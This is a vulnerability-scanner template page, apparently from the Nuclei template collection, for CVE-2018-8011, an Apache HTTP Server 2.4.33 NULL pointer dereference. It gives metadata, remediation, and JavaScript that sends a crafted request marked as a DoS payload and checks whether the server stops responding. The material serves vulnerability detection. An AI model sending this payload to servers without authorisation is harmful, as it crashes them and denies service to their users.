CVE-2018-8011: Apache HTTP Server - NULL Pointer Dereference
- Template: CVE-2018-8011
- Name: Apache HTTP Server - NULL Pointer Dereference
- Description: By specially crafting HTTP requests, the mod_md challenge handler would dereference a NULL pointer and cause the child process to segfault. This could be used to DoS the server. Fixed in Apache HTTP Server 2.4.34 (Affected 2.4.33)
- Impact: Attackers can cause server crashes leading to denial of service, disrupting service availability.
- Remediation: Update to version 2.4.34 or later.
- Severity: high
- Authors: daffainfo
- Tags: cve, cve2018, js, apache, httpd, dos, vkev, vuln
- References: https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2018-8011, https://nvd.nist.gov/vuln/detail/CVE-2018-8011
- Cves: CVE-2018-8011
- Verified: yes
- Max requests: 2
- Directory: javascript/cves
- Path: javascript/cves/2018/CVE-2018-8011.yaml
- Digest: 490a0046304402207e0251bee1055f23ca691e70ddfe5a0cf438804c8ce605254b00fb82116b6bde02204b21a7db13f6e97151ba1161a3cebc0cafdfea82b6b101f0ed0cee759d0aaf91
- Created at: 2026-01-06T11:31:02Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 322
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2018/CVE-2018-8011.yaml
Classification
- Cwe: CWE-119
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Epss score: 0.5533
- Epss percentile: 0.99055
- Cpe: cpe:2.3:a:apache:http_server:2.4.33:*:*:*:*:*:*:*
Metadata
- Max-request: 2
- Product: http_server
- Shodan-query: cpe:"cpe:2.3:a:apache:http_server"
- Vendor: apache
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| apache:http_server | yes | /v1/products/apache/http_server |
Labels
- Name: Apache HTTP Server - Null Pointer Dereference
- Impact: Attackers can cause server crashes leading to denial of service, disrupting service availability.
- Remediation: Update to version 2.4.34 or later.
- Vulnerability type: null_pointer_dereference
- Vulnerability impact: denial_of_service
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2018-8011
- Not known: requirements
```yaml
id: CVE-2018-8011
info:
name: Apache HTTP Server - NULL Pointer Dereference
author: daffainfo
severity: high
description: |
By specially crafting HTTP requests, the mod_md challenge handler would dereference a NULL pointer and cause the child process to segfault. This could be used to DoS the server. Fixed in Apache HTTP Server 2.4.34 (Affected 2.4.33)
impact: |
Attackers can cause server crashes leading to denial of service, disrupting service availability.
remediation: |
Update to version 2.4.34 or later.
reference:
- https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2018-8011
- https://nvd.nist.gov/vuln/detail/CVE-2018-8011
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2018-8011
cwe-id: CWE-119
epss-score: 0.5533
epss-percentile: 0.99055
cpe: cpe:2.3:a:apache:http_server:2.4.33:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: apache
product: http_server
shodan-query: cpe:"cpe:2.3:a:apache:http_server"
tags: cve,cve2018,js,apache,httpd,dos,vkev,vuln
javascript:
- code: |
const c = require("nuclei/net");
let conn;
let address = `${Host}:${Port}`;
let isApacheHttpServer = false;
let isUp = false;
let validRequest = `GET / HTTP/1.1\r\nHost: ${Host}\r\n\r\n`;
let dosRequest = `GET http://${Host} HTTP/1.1\r\nHost: ${Host}\r\n\r\n`;
// Make sure the response contains Apache/([0-9.]+)
try {
conn = c.OpenTLS('tcp', address);
} catch {
conn = c.Open('tcp', address);
}
conn.Send(validRequest);
const result = conn.RecvString();
const match = result.match(/Apache\/([0-9.]+)/);
if (match) {
isApacheHttpServer = true;
} else {
isApacheHttpServer = false;
}
// Send DoS Payload
try {
conn.Send(dosRequest);
conn.RecvString();
isUp = true;
} catch {
isUp = false;
}
conn.Close();
if (isApacheHttpServer && !isUp) {
Export("Vulnerable to CVE-2018-8011")
} else {
Export("Not Vulnerable")
}
args:
Host: "{{Host}}"
Port: 80,443 # if port not specified, defaults to both 80 and 443
exclude-ports: "0" # override default skip list of 80,443,8080,8443
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- 'Vulnerable to CVE-2018-8011'
- type: dsl
dsl:
- success == true
digest: 490a0046304402207e0251bee1055f23ca691e70ddfe5a0cf438804c8ce605254b00fb82116b6bde02204b21a7db13f6e97151ba1161a3cebc0cafdfea82b6b101f0ed0cee759d0aaf91:922c64590222798bb761d5b6d8e72950
```